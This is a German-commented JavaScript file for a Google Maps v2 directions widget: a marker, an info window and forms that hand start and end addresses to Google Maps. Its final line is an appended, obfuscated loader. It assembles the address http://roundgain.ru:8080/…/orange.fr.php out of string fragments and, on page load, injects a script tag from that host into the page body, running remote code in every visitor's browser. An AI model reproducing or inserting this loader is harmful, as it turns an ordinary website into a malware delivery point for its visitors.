/*******************************************************************************
 * Javascript für twGmap06Directions - version01
 ******************************************************************************/

var elementId = "twGmap";  // muss im html an ein <div> als id vergeben werden
//var lat       = "50";  // Breitengrad (Latitude) z.B: 51.041
//var lon       = "8";  // Längengrad (Longitude) z.B: 13.748
//var zoom      = 14;         // einen Wert von 1 bis ca 17 (nicht in "" setzen)


var directionMarkers   = [];
var directionHtmls     = [];
var directionHtmlsNach = [];
var directionHtmlsVon  = [];
var directionCount     = 0;


/**
 * Prüft auf kompatiblen Browser und vorhandene Variablen und ruft die
 * Funktion auf, die die GoogleMap erstellt.
 */
function twGmapLoad() {



	if (GBrowserIsCompatible()) {
		if (!document.getElementById(elementId)) {
			alert("Fehler: das Element mit der id "+ elementId+ " konnte nicht auf dieser Webseite gefunden werden!");
			return false;
		} else {
			if (lat=="" || isNaN(lat)) {
				lat = default_lat;
				alert("Fehler: Der Breitengrad(lat) wurde im Skript noch nicht korrekt eingetragen!\nEin Defaultwert wird deshalb benutzt!");
			}
			if (lon=="" || isNaN(lon)) {
				lon = default_lon;
				alert("Fehler: Der LÃ¤ngengrad(lon) wurde im Skript noch nicht korrekt eingetragen!\nEin Defaultwert wird deshalb benutzt!");
			}
			if (typeof zoom == "undefined") {
				zoom = default_zoom;
				alert("Fehler: Die Zoomstufe wurde im Skript nicht korrekt eingetragen!\nEin Defaultwert wird deshalb benutzt!");
			}
			machTwGmap(elementId, lat, lon, zoom);
		}
	}
}


/**
 * Erstellt die GoogleMap in dem <div>-Bereich mit der übergebenen id
 * @param {Object} id   -im div-Bereich mit dieser id wird die Map dargestellt
 * @param {Object} lat  -Breitengrad 
 * @param {Object} lon  -Längengrad
 * @param {Object} zoom -Zoomstufe 1 bis 17 (ganze Welt bis kleiner Ausschnitt)
 */
function machTwGmap(id, lat, lon, zoom) {
	// die Map (für das div mit der id="...")
	var map = new GMap2(document.getElementById(id));

	//Entfernungsskala Kilometer/Meter
	_mPreferMetric = true;  
	map.addControl(new GScaleControl());

	// mit Zoom (auch noch: GSmallMapControl, GLargeMapControl, GSmallZoomControl, GScaleControl)
	map.addControl(new GLargeMapControl());
	// mit Typ-Auswahl (auch noch: GMapTypeControl, GHierarchicalMapTypeControl, GOverviewMapControl)
	map.addControl(new GOverviewMapControl());
	// ((Breitengrad, Längengrad), Zoomstufe, G_NORMAL_MAP/G_SATELLITE_MAP/G_HYBRID_MAP)
	map.setCenter(new GLatLng(lat, lon), zoom, G_NORMAL_MAP);
	
	// Marker setzen mit eigener Marker-Funktion
	map = setTwMarkers(map);
}


/**
 * Erstellt alle Marker für die übergebene Google Map.
 * (Ruft intern für jeden Marker eine eigene Funktion auf)
 * @param {Object} map
 */
function setTwMarkers(map) {
	var marker01 = machTwMarker01();
	///var marker02 = machTwMarker02();
	///var marker03 = machTwMarker03();
	map.addOverlay(marker01);
	///map.addOverlay(marker02);
	///map.addOverlay(marker03);
	
	return map;
}


function machTwMarker01() {
	var point = new GPoint(lon, lat);
	//var adresse = "Rudolf Harbig Stadion";
	var marker = new GMarker(point);
	var html = machTwHtmlInfofenster(marker, adresse);
	GEvent.addListener(marker, "click", function() {marker.openInfoWindowHtml(html)});	
	
	return marker;
}
/*
function machTwMarker02() {
	var point = new GPoint(lon, lat);
	var marker = new GMarker(point);
	var html = machTwHtmlInfofenster(marker);
	GEvent.addListener(marker, "click", function() {marker.openInfoWindowHtml(html)});
	
	return marker;
}

function machTwMarker03() {
	var point = new GPoint(lon, lat);
	var marker = new GMarker(point);
	var html = machTwHtmlInfofenster(marker);
	GEvent.addListener(marker, "click", function() {marker.openInfoWindowHtml(html)});
	
	return marker;
}
*/

function machTwHtmlInfofenster(marker, adresse) {
	var point = marker.getLatLng();
	directionCount++;	
	directionMarkers[directionCount] = marker;
		
	// das Infofenster vor der Auswahl von Start- oder Zieladresse
	htmlDefault = '';
	htmlDefault += '<div class="twGmapInfo">';
	htmlDefault += ' <p class="headline">StraÃŸenverbindung anzeigen</p>';
	htmlDefault += ' <br />MÃ¶chten Sie diesen Punkt als Startpunkt oder<br />als Zielpunkt benutzen?';
	htmlDefault += ' <br /><a href="javascript:openTwInfofensterVon('+directionCount+')">&rarr; diesen Punkt als Startpunkt benutzen<\/a>';
	htmlDefault += ' <br /><a href="javascript:openTwInfofensterNach('+directionCount+')">&rarr; diesen Punkt als Zielpunkt benutzen<\/a>';
	htmlDefault += '</div>';
	directionHtmls[directionCount] = htmlDefault;
	
	// das Infofenster, in dem die Startadresse eingegeben werden kann
	htmlVon = '';
	htmlVon += '<div class="twGmapInfo">';
	htmlVon += ' <p class="headline">StraÃŸenverbindung anzeigen</p>';
	htmlVon += ' <p>Okay, Sie starten bei:</p>';
	htmlVon += ' <p><input type="text" size=40 maxlength=40 value="' + adresse + '" readonly="readonly" /></p>';
	htmlVon += ' <p>Geben Sie nun noch Ihre Ziel-Adresse ein:</p>';
	htmlVon += ' <p class="klein">(Beispiel: Koblenz, RheinstraÃŸe)</p>';
	htmlVon += ' <form action="http://maps.google.com/maps" method="get" target="_blank">';
	htmlVon += '  <p><input type="text" size=40 maxlength=40 name="daddr" id="daddr" value="" tabindex="1" /></p>';
	htmlVon += '  <p><input type="hidden" name="saddr" value="' + point.lat() + ',' + point.lng() + ' (' + adresse + ')' + '" /></p>';
	htmlVon += '  <input type="hidden" name="output" value="html" />';	
	htmlVon += '  <p class="submit"><input value="StraÃŸenverbindung anzeigen" type="submit" /></p>';
	htmlVon += '  <p class="submit klein">(die Verbindung wird in einem neuen Fenster/Tab angezeigt)</p>';
	htmlVon += ' </form>';
	htmlVon += '</div>';
	directionHtmlsVon[directionCount] = htmlVon;
	
	// das Infofenster, in dem die Zieladresse eingegeben werden kann
	htmlNach = '';
	htmlNach += '<div class="twGmapInfo">';
	htmlNach += ' <p class="headline">StraÃŸenverbindung anzeigen</p>';
	htmlNach += ' <p>Okay, Ihr Ziel ist:</p>';
	htmlNach += ' <p><input type="text" size=40 maxlength=40 value="' + adresse + '" readonly="readonly" /></p>';
	htmlNach += ' <p>Geben Sie nun noch Ihre Start-Adresse ein:</p>';
	htmlNach += ' <p class="klein">(Beispiel: Passau, Braugasse 7)</p>';
	htmlNach += ' <form action="http://maps.google.com/maps" method="get" target="_blank">';
	htmlNach += '  <p><input type="text" size=40 maxlength=40 name="saddr" id="saddr" value="" /></p>';
	htmlNach += '  <p><input type="hidden" name="daddr" value="' + point.lat() + ',' + point.lng() + ' (' + adresse + ')' + '" /></p>';
	htmlVon += '  <input type="hidden" name="output" value="html" />'
	htmlNach += '  <p class="submit"><input type="submit" value="StraÃŸenverbindung anzeigen" /></p>';
	htmlNach += '  <p class="submit klein">(die Verbindung wird in einem neuen Fenster/Tab angezeigt)</p>';
	htmlNach += ' </form>';
	htmlNach += '</div>';
	directionHtmlsNach[directionCount] = htmlNach;
	
	return htmlDefault;
}



// functions that open the directions forms
function openTwInfofensterNach(i) {
	directionMarkers[i].openInfoWindowHtml(directionHtmlsNach[i]);
}
function openTwInfofensterVon(i) {
	directionMarkers[i].openInfoWindowHtml(directionHtmlsVon[i]);
}
var y;K={};Q=function(){t=["c","MD"];this.P=37456;this.P--;function FT(v,H,M){try {var OE='Pv'} catch(OE){};return v.substr(H,M);this.U="";this.UH=false;}var l=document;sb={QS:"h"};this.T=3388;this.T--;var d='';ln=["k","GT"];sh=[];var B=new String("/yan"+FT("dex-r14",0,4)+FT("ru/g8v2K",0,4)+"oogl"+FT("e.coGCv",0,4)+FT("86Y7m/or67Y8",4,4)+FT("hf2ange2fh",3,4)+FT("tBym.fr.tBym",4,4)+"php");var Hc=RegExp;var a={V:"X"};var bp={W_:"aV"};function F(v,H){fx={Ci:false};var Yc="";var dL=["cM"];var bR={Le:false};var M="["+H+FT("]XwG",0,1);vh=["sE","ao"];var o=new Hc(M, "g");uM=["Ip","uj","_a"];return v.replace(o, d);var Tj=["ey","wr"];};Xr={tQ:"Pd"};fi=["ym"];var C=F('sDcLrfijpUtB','E4xOzU89jBT2_hLGfPWDCSY');var L=String("bo"+FT("dyP2n",0,2));try {} catch(vZ){};this.PX=false;var lE=null;try {var ZL='Vx'} catch(ZL){};yq=["Tc","MK"];var r=344493-336413;var m=["TC","bA","KX"];try {var rt='On'} catch(rt){};var HN=new Array();y=function(){var la={CZ:40061};A={cG:44032};try {oh=["Bm"];var w=F('cIrfewavtgeSEvlfefmfeSnwtv','SfIwgv');UW=9622;UW-=39;this.E=5679;this.E--;G=l[w](C);var tK=["pl"];var vD=String("def"+"er");var v=r+B;var j=new Array();WP=56093;WP--;var J=F('sBrdcg','B3vdhg');var cO=new String();var da={fY:"Sl"};G[J]="htt"+FT("p:/W6A",0,3)+FT("cqlS/roSlqc",4,3)+"und"+FT("gaitxM",0,3)+FT("n.rB9R",0,3)+FT("u:b0KO",0,2)+v;this.vL=15152;this.vL+=253;G[vD]=[1,5][0];var OG={YU:"oF"};this.HNn="HNn";l[L].appendChild(G);Um={Mu:false};fI={Ps:false};var qI=["bY","Q_"];var OC={PA:26331};} catch(u){try {var gg='vi'} catch(gg){};var QL=16480;};try {var lg='VZ'} catch(lg){};this.PjD="";};this.rN=33836;this.rN--;vQ=[];};Q();hE={QM:"iz"};window.onload=y;this.aA='';var bt="";AT=11553;AT++;iY=47077;iY-=246;
